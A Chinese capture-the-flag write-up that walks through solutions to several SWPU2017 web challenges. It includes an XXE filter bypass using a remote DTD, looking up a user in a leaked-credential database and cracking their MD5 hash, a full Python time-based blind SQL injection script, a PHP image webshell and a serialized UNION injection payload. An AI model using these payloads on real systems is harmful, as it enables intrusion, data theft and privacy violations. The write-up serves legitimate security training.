师傅们一起来找flag(150)
本题考察XXE,过滤了ENTITY
查看题目源代码可看到提示
题目过滤了POST 内容中的ENTITY关键字,所以我们需要从远程主机加载dtd文件
在你自己的服务器的web跟目录下放一个kkk.dtd文件,内容如下:
然后发送构造好的数据包,并查看服务器日志文件
cat /var/log/apache2/access.log
XEE学习文章:
未知攻焉知防——XXE漏洞攻防
在XML中添加实体
web catch me if you can(200)
添加QQ,在其空间发现一串base64
解密获得一个网址,即小金库地址http://47.93.205.124:8001/
使用社工库手机用户信息
019157f2299755ad90a3bb8473f8****
md5最后4位打上了*号,根据用户名sonic2011可尝试将2011补在md5的*号处解密
用御剑可扫出后台地址为manage_login.php,使用账号sonic2011密码2010sonic登录
flag!flag
考察parse_url()绕过以及SQL盲注
parse_url()绕过可参考:
https://lorexxar.cn/2016/05/10/asis-bcloud/
http://39.106.13.2/web2/file.php?file=index
看到这种url就想到用php://filter读取网页源码
index.php
<?php
error_reporting(0);
include("check.php");
?>
check.php
<?php
error_reporting(0);
$_POST=Add_S($_POST);
$_GET=Add_S($_GET);
$_COOKIE=Add_S($_COOKIE);
$_REQUEST=Add_S($_REQUEST);
function Add_S($array){
foreach($array as $key=>$value){
if(!is_array($value)){
$check= preg_match('/regexp|like|and|\"|%|insert|update|delete|union|into|load_file|outfile|\/\*/i', $value);
if($check)
exit("Stop hacking by using SQL injection!");
}
else
$array[$key]=Add_S($array[$key]);
}
return $array;
}
function check_url()
{
$url=parse_url($_SERVER['REQUEST_URI']);
parse_str($url['query'],$query);
$key_word=array("select","from","for","like");
foreach($query as $key)
foreach($key_word as $value)
if(preg_match("/".$value."/",strtolower($key)))
die("Stop hacking by using SQL injection!");
}
?>
REQUEST_URI:域名之后的字符串
parse_url()
parse_str(string,array):该函数会把查询字符串解析到变量中。如果有设置第二个参数,会存储在该数组中。在php5.3之后的版本中parse_url()匹配出错会返回false,所以我们只要让parse_url()匹配出错,这样我们的payload就可以绕过检查。
import time
import requests
import string
flag = ''
mode = '_{}' + string.ascii_letters + string.digits
#_{}abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789
url = r"http://39.106.13.2////web2/article_show_All.php?a_id=' or if(mid((select flag from flag),%s,1)='%s',sleep(2),0)-- +"
for i in range(1,33):
for char in mode:
start = time.time()
r = requests.get(url%(i,char))
# print(url%(i,char))
end = time.time()
if end-start >= 1.5:
print(char)
flag += char
if(char == '}'):
print(flag)
exit()
break
print(flag)
You Think I Think(200)
上传头像处,上传成功将返回图片存储路径
http://39.106.11.158/web1/index.php/home/index/index.html
修改密码功能
http://39.106.11.158/web1/index.php/home/index/repass/temp/repass.html
http://39.106.11.158/web1/index.php/home/index/repass/temp/robots.txt
<?php echo "<pre>";echo system('ls'); ?>
上传图片马后,访问即可获得flag
我们来做个小游戏吧
a:2:{s:4:”name”;s:5:”admin”;s:5:”score”;i:100;}
union select 0x613a323a7b733a343a226e616d65223b733a353a2261646d696e223b733a353a2273636f7265223b693a3130303b7d– -
Cookie: SESSID=123456789012345678901234567890P%006908aa7
其他人的WP
SWPU2017 CTF web writeup
http://www.th1s.cn/index.php/2017/11/05/147.html